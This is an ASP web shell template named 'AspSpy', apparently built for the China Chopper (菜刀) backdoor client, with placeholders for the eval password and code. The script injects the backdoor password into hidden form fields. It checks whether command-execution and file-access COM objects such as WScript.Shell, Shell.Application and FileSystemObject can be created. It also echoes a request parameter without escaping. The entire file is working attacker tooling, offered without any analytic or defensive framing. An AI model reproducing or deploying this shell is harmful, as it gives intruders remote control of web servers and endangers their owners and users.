Response.Buffer = true
Response.Clear

chPass = "{EVALPASS}" '菜刀替换标记一
chCode = "{EVALCODE}" '菜刀替换标记二

SN = Request.ServerVariables("SCRIPT_NAME")
VA = Request("VA")
VB = Request("VB")
VC = Request("VC")

HA = "<!DOCTYPE HTML><html><head><meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"" />"

HB = "<title>AspSpy</title><style>*{font-size:13px;}</style>"

HC = "<script type=""text/javascript"">function $(id){return document.getElementById(id);}"&_
	"function addHide(){var t=document.getElementsByTagName(""form"");"&_
	"var f,i,s,p,j,w,c;for(i=0;s=t[i];i++){p=s.getElementsByTagName(""input"");f=false;"&_
	"for(j=0;w=p[j];j++){if (w.name=="""&chPass&"""){f=true;break;}}"&_
	"if(f){alert(""一句话密码与当前脚本变量冲突，请稍作修改后再连接！"");}else{"&_
	"c=document.createElement(""input"");c.setAttribute(""name"","""&chPass&""");"&_
	"c.setAttribute(""value"",'"&chCode&"');c.setAttribute(""type"",""hidden"");s.appendChild(c);}}}"&_
	"function g(a,b,c){$('MF').VA.value=a?a:'';$('MF').VB.value=b?b:'';$('MF').VC.value=c?c:'';$('MF').submit();}"&_
	"</script>"

HD = "</head><body onload=""addHide()"">"&_
	"<form id=""MF"" action="""&SN&""" method=""post"">"&_
	"<input type=""hidden"" name=""VA"" />"&_
	"<input type=""hidden"" name=""VB"" />"&_
	"<input type=""hidden"" name=""VC"" />"&_
	"</form>"

MN = "<a href=""javascript:g('A');"">AspCheck</a> | <a href=""javascript:g('B','Hello World!');"">Other</a><hr/>"

BO = ""

HE = "</body></html>"


Function AVA
sO = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _
	"IISSample.PageCounter,MSWC.PermissionChecker,Adodb.Connection,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _
	"Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _
	"IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _
	"Scripting.FileSystemObject,Adodb.Stream,Shell.Application,WScript.Shell,Wscript.Network"

sD = "广告轮换,浏览器信息,内容链接库,,,计数器,内容轮显,,权限检测,ADO 数据对象,SA-FileUp 文件上传,SoftArtisans 文件管理," & _
	"刘云峰的文件上传组件,ASPUpload 文件上传,Dimac 文件上传,Dimac JMail 邮件收发,虚拟 SMTP 发信,ASPemail 发信,ASPmail 发信,dkQmail 发信," & _
	"Geocel 发信,IISmail 发信,SmtpMail 发信,SA 的图像读写,Dimac 的图像读写组件," & _
	"FSO,Stream 流,,,"

aO = Split(sO, ",")
aD = Split(sD, ",")
For i = 0 To UBound(aO)
	On Error Resume Next
	Set B = Server.CreateObject(aO(i))
	If Err <> -2147221005 Then
		C = "blue"
	Else
		C = "gray"
	End If
	Set B = Nothing
	BO = BO & "<li style=""color:" & C & ";"">" & aO(i) & " - " & aD(i) & S & "</li>"
	If Err Then
		Err.Clear
	End If
Next
End Function

Function AVZ
	BO = "Welcome!"
End Function

Rem 可以在此添加其它函数实现更多功能 =========================

Rem ==========================================================

Function AVB
	BO = VB & "<hr/>"
End Function

Response.Write HA & HB & HC & HD & MN
Select Case VA
	Case "A":AVA
	Case "B":AVB
	Case Else AVZ
End Select
Response.Write BO & HE
